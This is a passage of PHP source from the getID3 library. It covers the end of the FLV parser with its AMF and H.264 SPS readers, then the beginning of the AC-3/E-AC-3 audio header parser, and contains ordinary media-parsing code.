										$spsReader = new AVCSequenceParameterSetReader($sps);
										$spsReader->readData();
										$info['video']['resolution_x'] = $spsReader->getWidth();
										$info['video']['resolution_y'] = $spsReader->getHeight();
									}
								}
							}
							// end: moysevichØgmail*com

						} elseif ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H263) {

							$PictureSizeType = (getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 3, 2))) >> 7;
							$PictureSizeType = $PictureSizeType & 0x0007;
							$info['flv']['header']['videoSizeType'] = $PictureSizeType;
							switch ($PictureSizeType) {
								case 0:
									//$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2));
									//$PictureSizeEnc <<= 1;
									//$info['video']['resolution_x'] = ($PictureSizeEnc & 0xFF00) >> 8;
									//$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2));
									//$PictureSizeEnc <<= 1;
									//$info['video']['resolution_y'] = ($PictureSizeEnc & 0xFF00) >> 8;

									$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 2)) >> 7;
									$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2)) >> 7;
									$info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFF;
									$info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFF;
									break;

								case 1:
									$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 3)) >> 7;
									$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 3)) >> 7;
									$info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFFFF;
									$info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFFFF;
									break;

								case 2:
									$info['video']['resolution_x'] = 352;
									$info['video']['resolution_y'] = 288;
									break;

								case 3:
									$info['video']['resolution_x'] = 176;
									$info['video']['resolution_y'] = 144;
									break;

								case 4:
									$info['video']['resolution_x'] = 128;
									$info['video']['resolution_y'] = 96;
									break;

								case 5:
									$info['video']['resolution_x'] = 320;
									$info['video']['resolution_y'] = 240;
									break;

								case 6:
									$info['video']['resolution_x'] = 160;
									$info['video']['resolution_y'] = 120;
									break;

								default:
									$info['video']['resolution_x'] = 0;
									$info['video']['resolution_y'] = 0;
									break;

							}

						} elseif ($info['flv']['video']['videoCodec'] ==  GETID3_FLV_VIDEO_VP6FLV_ALPHA) {

							/* contributed by schouwerwouØgmail*com */
							if (!isset($info['video']['resolution_x'])) { // only when meta data isn't set
								$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2));
								$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 7, 2));
								$info['video']['resolution_x'] = ($PictureSizeEnc['x'] & 0xFF) << 3;
								$info['video']['resolution_y'] = ($PictureSizeEnc['y'] & 0xFF) << 3;
							}
							/* end schouwerwouØgmail*com */

						}
						if (!empty($info['video']['resolution_x']) && !empty($info['video']['resolution_y'])) {
							$info['video']['pixel_aspect_ratio'] = $info['video']['resolution_x'] / $info['video']['resolution_y'];
						}
					}
					break;

				// Meta tag
				case GETID3_FLV_TAG_META:
					if (!$found_meta) {
						$found_meta = true;
						$this->fseek(-1, SEEK_CUR);
						$datachunk = $this->fread($DataLength);
						$AMFstream = new AMFStream($datachunk);
						$reader = new AMFReader($AMFstream);
						$eventName = $reader->readData();
						$info['flv']['meta'][$eventName] = $reader->readData();
						unset($reader);

						$copykeys = array('framerate'=>'frame_rate', 'width'=>'resolution_x', 'height'=>'resolution_y', 'audiodatarate'=>'bitrate', 'videodatarate'=>'bitrate');
						foreach ($copykeys as $sourcekey => $destkey) {
							if (isset($info['flv']['meta']['onMetaData'][$sourcekey])) {
								switch ($sourcekey) {
									case 'width':
									case 'height':
										$info['video'][$destkey] = intval(round($info['flv']['meta']['onMetaData'][$sourcekey]));
										break;
									case 'audiodatarate':
										$info['audio'][$destkey] = getid3_lib::CastAsInt(round($info['flv']['meta']['onMetaData'][$sourcekey] * 1000));
										break;
									case 'videodatarate':
									case 'frame_rate':
									default:
										$info['video'][$destkey] = $info['flv']['meta']['onMetaData'][$sourcekey];
										break;
								}
							}
						}
						if (!empty($info['flv']['meta']['onMetaData']['duration'])) {
							$found_valid_meta_playtime = true;
						}
					}
					break;

				default:
					// noop
					break;
			}
			$this->fseek($NextOffset);
		}

		$info['playtime_seconds'] = $Duration / 1000;
		if ($info['playtime_seconds'] > 0) {
			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
		}

		if ($info['flv']['header']['hasAudio']) {
			$info['audio']['codec']           =   self::audioFormatLookup($info['flv']['audio']['audioFormat']);
			$info['audio']['sample_rate']     =     self::audioRateLookup($info['flv']['audio']['audioRate']);
			$info['audio']['bits_per_sample'] = self::audioBitDepthLookup($info['flv']['audio']['audioSampleSize']);

			$info['audio']['channels']   =  $info['flv']['audio']['audioType'] + 1; // 0=mono,1=stereo
			$info['audio']['lossless']   = ($info['flv']['audio']['audioFormat'] ? false : true); // 0=uncompressed
			$info['audio']['dataformat'] = 'flv';
		}
		if (!empty($info['flv']['header']['hasVideo'])) {
			$info['video']['codec']      = self::videoCodecLookup($info['flv']['video']['videoCodec']);
			$info['video']['dataformat'] = 'flv';
			$info['video']['lossless']   = false;
		}

		// Set information from meta
		if (!empty($info['flv']['meta']['onMetaData']['duration'])) {
			$info['playtime_seconds'] = $info['flv']['meta']['onMetaData']['duration'];
			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
		}
		if (isset($info['flv']['meta']['onMetaData']['audiocodecid'])) {
			$info['audio']['codec'] = self::audioFormatLookup($info['flv']['meta']['onMetaData']['audiocodecid']);
		}
		if (isset($info['flv']['meta']['onMetaData']['videocodecid'])) {
			$info['video']['codec'] = self::videoCodecLookup($info['flv']['meta']['onMetaData']['videocodecid']);
		}
		return true;
	}

	/**
	 * @param int $id
	 *
	 * @return string|false
	 */
	public static function audioFormatLookup($id) {
		static $lookup = array(
			0  => 'Linear PCM, platform endian',
			1  => 'ADPCM',
			2  => 'mp3',
			3  => 'Linear PCM, little endian',
			4  => 'Nellymoser 16kHz mono',
			5  => 'Nellymoser 8kHz mono',
			6  => 'Nellymoser',
			7  => 'G.711A-law logarithmic PCM',
			8  => 'G.711 mu-law logarithmic PCM',
			9  => 'reserved',
			10 => 'AAC',
			11 => 'Speex',
			12 => false, // unknown?
			13 => false, // unknown?
			14 => 'mp3 8kHz',
			15 => 'Device-specific sound',
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}

	/**
	 * @param int $id
	 *
	 * @return int|false
	 */
	public static function audioRateLookup($id) {
		static $lookup = array(
			0 =>  5500,
			1 => 11025,
			2 => 22050,
			3 => 44100,
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}

	/**
	 * @param int $id
	 *
	 * @return int|false
	 */
	public static function audioBitDepthLookup($id) {
		static $lookup = array(
			0 =>  8,
			1 => 16,
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}

	/**
	 * @param int $id
	 *
	 * @return string|false
	 */
	public static function videoCodecLookup($id) {
		static $lookup = array(
			GETID3_FLV_VIDEO_H263         => 'Sorenson H.263',
			GETID3_FLV_VIDEO_SCREEN       => 'Screen video',
			GETID3_FLV_VIDEO_VP6FLV       => 'On2 VP6',
			GETID3_FLV_VIDEO_VP6FLV_ALPHA => 'On2 VP6 with alpha channel',
			GETID3_FLV_VIDEO_SCREENV2     => 'Screen video v2',
			GETID3_FLV_VIDEO_H264         => 'Sorenson H.264',
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}
}

class AMFStream
{
	/**
	 * @var string
	 */
	public $bytes;

	/**
	 * @var int
	 */
	public $pos;

	/**
	 * @param string $bytes
	 */
	public function __construct(&$bytes) {
		$this->bytes =& $bytes;
		$this->pos = 0;
	}

	/**
	 * @return int
	 */
	public function readByte() { //  8-bit
		return ord(substr($this->bytes, $this->pos++, 1));
	}

	/**
	 * @return int
	 */
	public function readInt() { // 16-bit
		return ($this->readByte() << 8) + $this->readByte();
	}

	/**
	 * @return int
	 */
	public function readLong() { // 32-bit
		return ($this->readByte() << 24) + ($this->readByte() << 16) + ($this->readByte() << 8) + $this->readByte();
	}

	/**
	 * @return float|false
	 */
	public function readDouble() {
		return getid3_lib::BigEndian2Float($this->read(8));
	}

	/**
	 * @return string
	 */
	public function readUTF() {
		$length = $this->readInt();
		return $this->read($length);
	}

	/**
	 * @return string
	 */
	public function readLongUTF() {
		$length = $this->readLong();
		return $this->read($length);
	}

	/**
	 * @param int $length
	 *
	 * @return string
	 */
	public function read($length) {
		$val = substr($this->bytes, $this->pos, $length);
		$this->pos += $length;
		return $val;
	}

	/**
	 * @return int
	 */
	public function peekByte() {
		$pos = $this->pos;
		$val = $this->readByte();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return int
	 */
	public function peekInt() {
		$pos = $this->pos;
		$val = $this->readInt();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return int
	 */
	public function peekLong() {
		$pos = $this->pos;
		$val = $this->readLong();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return float|false
	 */
	public function peekDouble() {
		$pos = $this->pos;
		$val = $this->readDouble();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return string
	 */
	public function peekUTF() {
		$pos = $this->pos;
		$val = $this->readUTF();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return string
	 */
	public function peekLongUTF() {
		$pos = $this->pos;
		$val = $this->readLongUTF();
		$this->pos = $pos;
		return $val;
	}
}

class AMFReader
{
	/**
	* @var AMFStream
	*/
	public $stream;

	/**
	 * @param AMFStream $stream
	 */
	public function __construct(AMFStream $stream) {
		$this->stream = $stream;
	}

	/**
	 * @return mixed
	 */
	public function readData() {
		$value = null;

		$type = $this->stream->readByte();
		switch ($type) {

			// Double
			case 0:
				$value = $this->readDouble();
			break;

			// Boolean
			case 1:
				$value = $this->readBoolean();
				break;

			// String
			case 2:
				$value = $this->readString();
				break;

			// Object
			case 3:
				$value = $this->readObject();
				break;

			// null
			case 6:
				return null;

			// Mixed array
			case 8:
				$value = $this->readMixedArray();
				break;

			// Array
			case 10:
				$value = $this->readArray();
				break;

			// Date
			case 11:
				$value = $this->readDate();
				break;

			// Long string
			case 13:
				$value = $this->readLongString();
				break;

			// XML (handled as string)
			case 15:
				$value = $this->readXML();
				break;

			// Typed object (handled as object)
			case 16:
				$value = $this->readTypedObject();
				break;

			// Long string
			default:
				$value = '(unknown or unsupported data type)';
				break;
		}

		return $value;
	}

	/**
	 * @return float|false
	 */
	public function readDouble() {
		return $this->stream->readDouble();
	}

	/**
	 * @return bool
	 */
	public function readBoolean() {
		return $this->stream->readByte() == 1;
	}

	/**
	 * @return string
	 */
	public function readString() {
		return $this->stream->readUTF();
	}

	/**
	 * @return array
	 */
	public function readObject() {
		// Get highest numerical index - ignored
//		$highestIndex = $this->stream->readLong();

		$data = array();
		$key = null;

		while ($key = $this->stream->readUTF()) {
			$data[$key] = $this->readData();
		}
		// Mixed array record ends with empty string (0x00 0x00) and 0x09
		if (($key == '') && ($this->stream->peekByte() == 0x09)) {
			// Consume byte
			$this->stream->readByte();
		}
		return $data;
	}

	/**
	 * @return array
	 */
	public function readMixedArray() {
		// Get highest numerical index - ignored
		$highestIndex = $this->stream->readLong();

		$data = array();
		$key = null;

		while ($key = $this->stream->readUTF()) {
			if (is_numeric($key)) {
				$key = (int) $key;
			}
			$data[$key] = $this->readData();
		}
		// Mixed array record ends with empty string (0x00 0x00) and 0x09
		if (($key == '') && ($this->stream->peekByte() == 0x09)) {
			// Consume byte
			$this->stream->readByte();
		}

		return $data;
	}

	/**
	 * @return array
	 */
	public function readArray() {
		$length = $this->stream->readLong();
		$data = array();

		for ($i = 0; $i < $length; $i++) {
			$data[] = $this->readData();
		}
		return $data;
	}

	/**
	 * @return float|false
	 */
	public function readDate() {
		$timestamp = $this->stream->readDouble();
		$timezone = $this->stream->readInt();
		return $timestamp;
	}

	/**
	 * @return string
	 */
	public function readLongString() {
		return $this->stream->readLongUTF();
	}

	/**
	 * @return string
	 */
	public function readXML() {
		return $this->stream->readLongUTF();
	}

	/**
	 * @return array
	 */
	public function readTypedObject() {
		$className = $this->stream->readUTF();
		return $this->readObject();
	}
}

class AVCSequenceParameterSetReader
{
	/**
	 * @var string
	 */
	public $sps;
	public $start = 0;
	public $currentBytes = 0;
	public $currentBits = 0;

	/**
	 * @var int
	 */
	public $width;

	/**
	 * @var int
	 */
	public $height;

	/**
	 * @param string $sps
	 */
	public function __construct($sps) {
		$this->sps = $sps;
	}

	public function readData() {
		$this->skipBits(8);
		$this->skipBits(8);
		$profile = $this->getBits(8);                               // read profile
		if ($profile > 0) {
			$this->skipBits(8);
			$level_idc = $this->getBits(8);                         // level_idc
			$this->expGolombUe();                                   // seq_parameter_set_id // sps
			$this->expGolombUe();                                   // log2_max_frame_num_minus4
			$picOrderType = $this->expGolombUe();                   // pic_order_cnt_type
			if ($picOrderType == 0) {
				$this->expGolombUe();                               // log2_max_pic_order_cnt_lsb_minus4
			} elseif ($picOrderType == 1) {
				$this->skipBits(1);                                 // delta_pic_order_always_zero_flag
				$this->expGolombSe();                               // offset_for_non_ref_pic
				$this->expGolombSe();                               // offset_for_top_to_bottom_field
				$num_ref_frames_in_pic_order_cnt_cycle = $this->expGolombUe(); // num_ref_frames_in_pic_order_cnt_cycle
				for ($i = 0; $i < $num_ref_frames_in_pic_order_cnt_cycle; $i++) {
					$this->expGolombSe();                           // offset_for_ref_frame[ i ]
				}
			}
			$this->expGolombUe();                                   // num_ref_frames
			$this->skipBits(1);                                     // gaps_in_frame_num_value_allowed_flag
			$pic_width_in_mbs_minus1 = $this->expGolombUe();        // pic_width_in_mbs_minus1
			$pic_height_in_map_units_minus1 = $this->expGolombUe(); // pic_height_in_map_units_minus1

			$frame_mbs_only_flag = $this->getBits(1);               // frame_mbs_only_flag
			if ($frame_mbs_only_flag == 0) {
				$this->skipBits(1);                                 // mb_adaptive_frame_field_flag
			}
			$this->skipBits(1);                                     // direct_8x8_inference_flag
			$frame_cropping_flag = $this->getBits(1);               // frame_cropping_flag

			$frame_crop_left_offset   = 0;
			$frame_crop_right_offset  = 0;
			$frame_crop_top_offset    = 0;
			$frame_crop_bottom_offset = 0;

			if ($frame_cropping_flag) {
				$frame_crop_left_offset   = $this->expGolombUe();   // frame_crop_left_offset
				$frame_crop_right_offset  = $this->expGolombUe();   // frame_crop_right_offset
				$frame_crop_top_offset    = $this->expGolombUe();   // frame_crop_top_offset
				$frame_crop_bottom_offset = $this->expGolombUe();   // frame_crop_bottom_offset
			}
			$this->skipBits(1);                                     // vui_parameters_present_flag
			// etc

			$this->width  = (($pic_width_in_mbs_minus1 + 1) * 16) - ($frame_crop_left_offset * 2) - ($frame_crop_right_offset * 2);
			$this->height = ((2 - $frame_mbs_only_flag) * ($pic_height_in_map_units_minus1 + 1) * 16) - ($frame_crop_top_offset * 2) - ($frame_crop_bottom_offset * 2);
		}
	}

	/**
	 * @param int $bits
	 */
	public function skipBits($bits) {
		$newBits = $this->currentBits + $bits;
		$this->currentBytes += (int)floor($newBits / 8);
		$this->currentBits = $newBits % 8;
	}

	/**
	 * @return int
	 */
	public function getBit() {
		$result = (getid3_lib::BigEndian2Int(substr($this->sps, $this->currentBytes, 1)) >> (7 - $this->currentBits)) & 0x01;
		$this->skipBits(1);
		return $result;
	}

	/**
	 * @param int $bits
	 *
	 * @return int
	 */
	public function getBits($bits) {
		$result = 0;
		for ($i = 0; $i < $bits; $i++) {
			$result = ($result << 1) + $this->getBit();
		}
		return $result;
	}

	/**
	 * @return int
	 */
	public function expGolombUe() {
		$significantBits = 0;
		$bit = $this->getBit();
		while ($bit == 0) {
			$significantBits++;
			$bit = $this->getBit();

			if ($significantBits > 31) {
				// something is broken, this is an emergency escape to prevent infinite loops
				return 0;
			}
		}
		return (1 << $significantBits) + $this->getBits($significantBits) - 1;
	}

	/**
	 * @return int
	 */
	public function expGolombSe() {
		$result = $this->expGolombUe();
		if (($result & 0x01) == 0) {
			return -($result >> 1);
		} else {
			return ($result + 1) >> 1;
		}
	}

	/**
	 * @return int
	 */
	public function getWidth() {
		return $this->width;
	}

	/**
	 * @return int
	 */
	public function getHeight() {
		return $this->height;
	}
}
<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.ac3.php                                        //
// module for analyzing AC-3 (aka Dolby Digital) audio files   //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

class getid3_ac3 extends getid3_handler
{
	/**
	 * @var array
	 */
	private $AC3header = array();

	/**
	 * @var int
	 */
	private $BSIoffset = 0;

	const syncword = 0x0B77;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		///AH
		$info['ac3']['raw']['bsi'] = array();
		$thisfile_ac3              = &$info['ac3'];
		$thisfile_ac3_raw          = &$thisfile_ac3['raw'];
		$thisfile_ac3_raw_bsi      = &$thisfile_ac3_raw['bsi'];


		// http://www.atsc.org/standards/a_52a.pdf

		$info['fileformat'] = 'ac3';

		// An AC-3 serial coded audio bit stream is made up of a sequence of synchronization frames
		// Each synchronization frame contains 6 coded audio blocks (AB), each of which represent 256
		// new audio samples per channel. A synchronization information (SI) header at the beginning
		// of each frame contains information needed to acquire and maintain synchronization. A
		// bit stream information (BSI) header follows SI, and contains parameters describing the coded
		// audio service. The coded audio blocks may be followed by an auxiliary data (Aux) field. At the
		// end of each frame is an error check field that includes a CRC word for error detection. An
		// additional CRC word is located in the SI header, the use of which, by a decoder, is optional.
		//
		// syncinfo() | bsi() | AB0 | AB1 | AB2 | AB3 | AB4 | AB5 | Aux | CRC

		// syncinfo() {
		// 	 syncword    16
		// 	 crc1        16
		// 	 fscod        2
		// 	 frmsizecod   6
		// } /* end of syncinfo */

		$this->fseek($info['avdataoffset']);
		$tempAC3header = $this->fread(100); // should be enough to cover all data, there are some variable-length fields...?
		$this->AC3header['syncinfo']  =     getid3_lib::BigEndian2Int(substr($tempAC3header, 0, 2));
		$this->AC3header['bsi']       =     getid3_lib::BigEndian2Bin(substr($tempAC3header, 2));
		$thisfile_ac3_raw_bsi['bsid'] = (getid3_lib::LittleEndian2Int(substr($tempAC3header, 5, 1)) & 0xF8) >> 3; // AC3 and E-AC3 put the "bsid" version identifier in the same place, but unfortnately the 4 bytes between the syncword and the version identifier are interpreted differently, so grab it here so the following code structure can make sense
		unset($tempAC3header);

		if ($this->AC3header['syncinfo'] !== self::syncword) {
			if (!$this->isDependencyFor('matroska')) {
				unset($info['fileformat'], $info['ac3']);
				return $this->error('Expecting "'.dechex(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.dechex($this->AC3header['syncinfo']).'"');
			}
		}

		$info['audio']['dataformat']   = 'ac3';
		$info['audio']['bitrate_mode'] = 'cbr';
		$info['audio']['lossless']     = false;

		if ($thisfile_ac3_raw_bsi['bsid'] <= 8) {

			$thisfile_ac3_raw_bsi['crc1']       = getid3_lib::Bin2Dec($this->readHeaderBSI(16));
			$thisfile_ac3_raw_bsi['fscod']      =                     $this->readHeaderBSI(2);   // 5.4.1.3
			$thisfile_ac3_raw_bsi['frmsizecod'] =                     $this->readHeaderBSI(6);   // 5.4.1.4
			if ($thisfile_ac3_raw_bsi['frmsizecod'] > 37) { // binary: 100101 - see Table 5.18 Frame Size Code Table (1 word = 16 bits)
				$this->warning('Unexpected ac3.bsi.frmsizecod value: '.$thisfile_ac3_raw_bsi['frmsizecod'].', bitrate not set correctly');
			}

			$thisfile_ac3_raw_bsi['bsid']  = $this->readHeaderBSI(5); // we already know this from pre-parsing the version identifier, but re-read it to let the bitstream flow as intended
			$thisfile_ac3_raw_bsi['bsmod'] = $this->readHeaderBSI(3);
			$thisfile_ac3_raw_bsi['acmod'] = $this->readHeaderBSI(3);

			if ($thisfile_ac3_raw_bsi['acmod'] & 0x01) {
				// If the lsb of acmod is a 1, center channel is in use and cmixlev follows in the bit stream.
				$thisfile_ac3_raw_bsi['cmixlev'] = $this->readHeaderBSI(2);
				$thisfile_ac3['center_mix_level'] = self::centerMixLevelLookup($thisfile_ac3_raw_bsi['cmixlev']);
			}

			if ($thisfile_ac3_raw_bsi['acmod'] & 0x04) {
				// If the msb of acmod is a 1, surround channels are in use and surmixlev follows in the bit stream.
				$thisfile_ac3_raw_bsi['surmixlev'] = $this->readHeaderBSI(2);
				$thisfile_ac3['surround_mix_level'] = self::surroundMixLevelLookup($thisfile_ac3_raw_bsi['surmixlev']);
			}

			if ($thisfile_ac3_raw_bsi['acmod'] == 0x02) {
				// When operating in the two channel mode, this 2-bit code indicates whether or not the program has been encoded in Dolby Surround.
				$thisfile_ac3_raw_bsi['dsurmod'] = $this->readHeaderBSI(2);
				$thisfile_ac3['dolby_surround_mode'] = self::dolbySurroundModeLookup($thisfile_ac3_raw_bsi['dsurmod']);
			}

			$thisfile_ac3_raw_bsi['flags']['lfeon'] = (bool) $this->readHeaderBSI(1);

			// This indicates how far the average dialogue level is below digital 100 percent. Valid values are 1-31.
			// The value of 0 is reserved. The values of 1 to 31 are interpreted as -1 dB to -31 dB with respect to digital 100 percent.
			$thisfile_ac3_raw_bsi['dialnorm'] = $this->readHeaderBSI(5);                 // 5.4.2.8 dialnorm: Dialogue Normalization, 5 Bits

			$thisfile_ac3_raw_bsi['flags']['compr'] = (bool) $this->readHeaderBSI(1);       // 5.4.2.9 compre: Compression Gain Word Exists, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['compr']) {
				$thisfile_ac3_raw_bsi['compr'] = $this->readHeaderBSI(8);                // 5.4.2.10 compr: Compression Gain Word, 8 Bits
				$thisfile_ac3['heavy_compression'] = self::heavyCompression($thisfile_ac3_raw_bsi['compr']);
			}

			$thisfile_ac3_raw_bsi['flags']['langcod'] = (bool) $this->readHeaderBSI(1);     // 5.4.2.11 langcode: Language Code Exists, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['langcod']) {
				$thisfile_ac3_raw_bsi['langcod'] = $this->readHeaderBSI(8);              // 5.4.2.12 langcod: Language Code, 8 Bits
			}

			$thisfile_ac3_raw_bsi['flags']['audprodinfo'] = (bool) $this->readHeaderBSI(1);  // 5.4.2.13 audprodie: Audio Production Information Exists, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['audprodinfo']) {
				$thisfile_ac3_raw_bsi['mixlevel'] = $this->readHeaderBSI(5);             // 5.4.2.14 mixlevel: Mixing Level, 5 Bits
				$thisfile_ac3_raw_bsi['roomtyp']  = $this->readHeaderBSI(2);             // 5.4.2.15 roomtyp: Room Type, 2 Bits

				$thisfile_ac3['mixing_level'] = (80 + $thisfile_ac3_raw_bsi['mixlevel']).'dB';
				$thisfile_ac3['room_type']    = self::roomTypeLookup($thisfile_ac3_raw_bsi['roomtyp']);
			}


			$thisfile_ac3_raw_bsi['dialnorm2'] = $this->readHeaderBSI(5);                // 5.4.2.16 dialnorm2: Dialogue Normalization, ch2, 5 Bits
			$thisfile_ac3['dialogue_normalization2'] = '-'.$thisfile_ac3_raw_bsi['dialnorm2'].'dB';  // This indicates how far the average dialogue level is below digital 100 percent. Valid values are 1-31. The value of 0 is reserved. The values of 1 to 31 are interpreted as -1 dB to -31 dB with respect to digital 100 percent.

			$thisfile_ac3_raw_bsi['flags']['compr2'] = (bool) $this->readHeaderBSI(1);       // 5.4.2.17 compr2e: Compression Gain Word Exists, ch2, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['compr2']) {
				$thisfile_ac3_raw_bsi['compr2'] = $this->readHeaderBSI(8);               // 5.4.2.18 compr2: Compression Gain Word, ch2, 8 Bits
				$thisfile_ac3['heavy_compression2'] = self::heavyCompression($thisfile_ac3_raw_bsi['compr2']);
			}

			$thisfile_ac3_raw_bsi['flags']['langcod2'] = (bool) $this->readHeaderBSI(1);    // 5.4.2.19 langcod2e: Language Code Exists, ch2, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['langcod2']) {
				$thisfile_ac3_raw_bsi['langcod2'] = $this->readHeaderBSI(8);             // 5.4.2.20 langcod2: Language Code, ch2, 8 Bits
			}

			$thisfile_ac3_raw_bsi['flags']['audprodinfo2'] = (bool) $this->readHeaderBSI(1); // 5.4.2.21 audprodi2e: Audio Production Information Exists, ch2, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['audprodinfo2']) {
				$thisfile_ac3_raw_bsi['mixlevel2'] = $this->readHeaderBSI(5);            // 5.4.2.22 mixlevel2: Mixing Level, ch2, 5 Bits
				$thisfile_ac3_raw_bsi['roomtyp2']  = $this->readHeaderBSI(2);            // 5.4.2.23 roomtyp2: Room Type, ch2, 2 Bits

				$thisfile_ac3['mixing_level2'] = (80 + $thisfile_ac3_raw_bsi['mixlevel2']).'dB';
				$thisfile_ac3['room_type2']    = self::roomTypeLookup($thisfile_ac3_raw_bsi['roomtyp2']);
			}

			$thisfile_ac3_raw_bsi['copyright'] = (bool) $this->readHeaderBSI(1);         // 5.4.2.24 copyrightb: Copyright Bit, 1 Bit

			$thisfile_ac3_raw_bsi['original']  = (bool) $this->readHeaderBSI(1);         // 5.4.2.25 origbs: Original Bit Stream, 1 Bit

			$thisfile_ac3_raw_bsi['flags']['timecod1'] = $this->readHeaderBSI(2);            // 5.4.2.26 timecod1e, timcode2e: Time Code (first and second) Halves Exist, 2 Bits
			if ($thisfile_ac3_raw_bsi['flags']['timecod1'] & 0x01) {
				$thisfile_ac3_raw_bsi['timecod1'] = $this->readHeaderBSI(14);            // 5.4.2.27 timecod1: Time code first half, 14 bits
				$thisfile_ac3['timecode1'] = 0;
				$thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x3E00) >>  9) * 3600;  // The first 5 bits of this 14-bit field represent the time in hours, with valid values of 0�23
				$thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x01F8) >>  3) *   60;  // The next 6 bits represent the time in minutes, with valid values of 0�59
				$thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x0003) >>  0) *    8;  // The final 3 bits represents the time in 8 second increments, with valid values of 0�7 (representing 0, 8, 16, ... 56 seconds)
			}
			if ($thisfile_ac3_raw_bsi['flags']['timecod1'] & 0x02) {
				$thisfile_ac3_raw_bsi['timecod2'] = $this->readHeaderBSI(14);            // 5.4.2.28 timecod2: Time code second half, 14 bits
				$thisfile_ac3['timecode2'] = 0;
				$thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x3800) >> 11) *   1;              // The first 3 bits of this 14-bit field represent the time in seconds, with valid values from 0�7 (representing 0-7 seconds)
				$thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x07C0) >>  6) *  (1 / 30);        // The next 5 bits represents the time in frames, with valid values from 0�29 (one frame = 1/30th of a second)
				$thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x003F) >>  0) * ((1 / 30) / 60);  // The final 6 bits represents fractions of 1/64 of a frame, with valid values from 0�63
			}

			$thisfile_ac3_raw_bsi['flags']['addbsi'] = (bool) $this->readHeaderBSI(1);
			if ($thisfile_ac3_raw_bsi['flags']['addbsi']) {
				$thisfile_ac3_raw_bsi['addbsi_length'] = $this->readHeaderBSI(6) + 1; // This 6-bit code, which exists only if addbside is a 1, indicates the length in bytes of additional bit stream information. The valid range of addbsil is 0�63, indicating 1�64 additional bytes, respectively.

				$this->AC3header['bsi'] .= getid3_lib::BigEndian2Bin($this->fread($thisfile_ac3_raw_bsi['addbsi_length']));

				$thisfile_ac3_raw_bsi['addbsi_data'] = substr($this->AC3header['bsi'], $this->BSIoffset, $thisfile_ac3_raw_bsi['addbsi_length'] * 8);
				$this->BSIoffset += $thisfile_ac3_raw_bsi['addbsi_length'] * 8;
			}


		} elseif ($thisfile_ac3_raw_bsi['bsid'] <= 16) { // E-AC3


			$this->error('E-AC3 parsing is incomplete and experimental in this version of getID3 ('.$this->getid3->version().'). Notably the bitrate calculations are wrong -- value might (or not) be correct, but it is not calculated correctly. Email info@getid3.org if you know how to calculate EAC3 bitrate correctly.');
			$info['audio']['dataformat'] = 'eac3';

			$thisfile_ac3_raw_bsi['strmtyp']          =        $this->readHeaderBSI(2);
			$thisfile_ac3_raw_bsi['substreamid']      =        $this->readHeaderBSI(3);
			$thisfile_ac3_raw_bsi['frmsiz']           =        $this->readHeaderBSI(11);
			$thisfile_ac3_raw_bsi['fscod']            =        $this->readHeaderBSI(2);
			if ($thisfile_ac3_raw_bsi['fscod'] == 3) {
				$thisfile_ac3_raw_bsi['fscod2']       =        $this->readHeaderBSI(2);
				$thisfile_ac3_raw_bsi['numblkscod'] = 3; // six blocks per syncframe
			} else {
				$thisfile_ac3_raw_bsi['numblkscod']   =        $this->readHeaderBSI(2);
			}
			$thisfile_ac3['bsi']['blocks_per_sync_frame'] = self::blocksPerSyncFrame($thisfile_ac3_raw_bsi['numblkscod']);
			$thisfile_ac3_raw_bsi['acmod']            =        $this->readHeaderBSI(3);
			$thisfile_ac3_raw_bsi['flags']['lfeon']   = (bool) $this->readHeaderBSI(1);
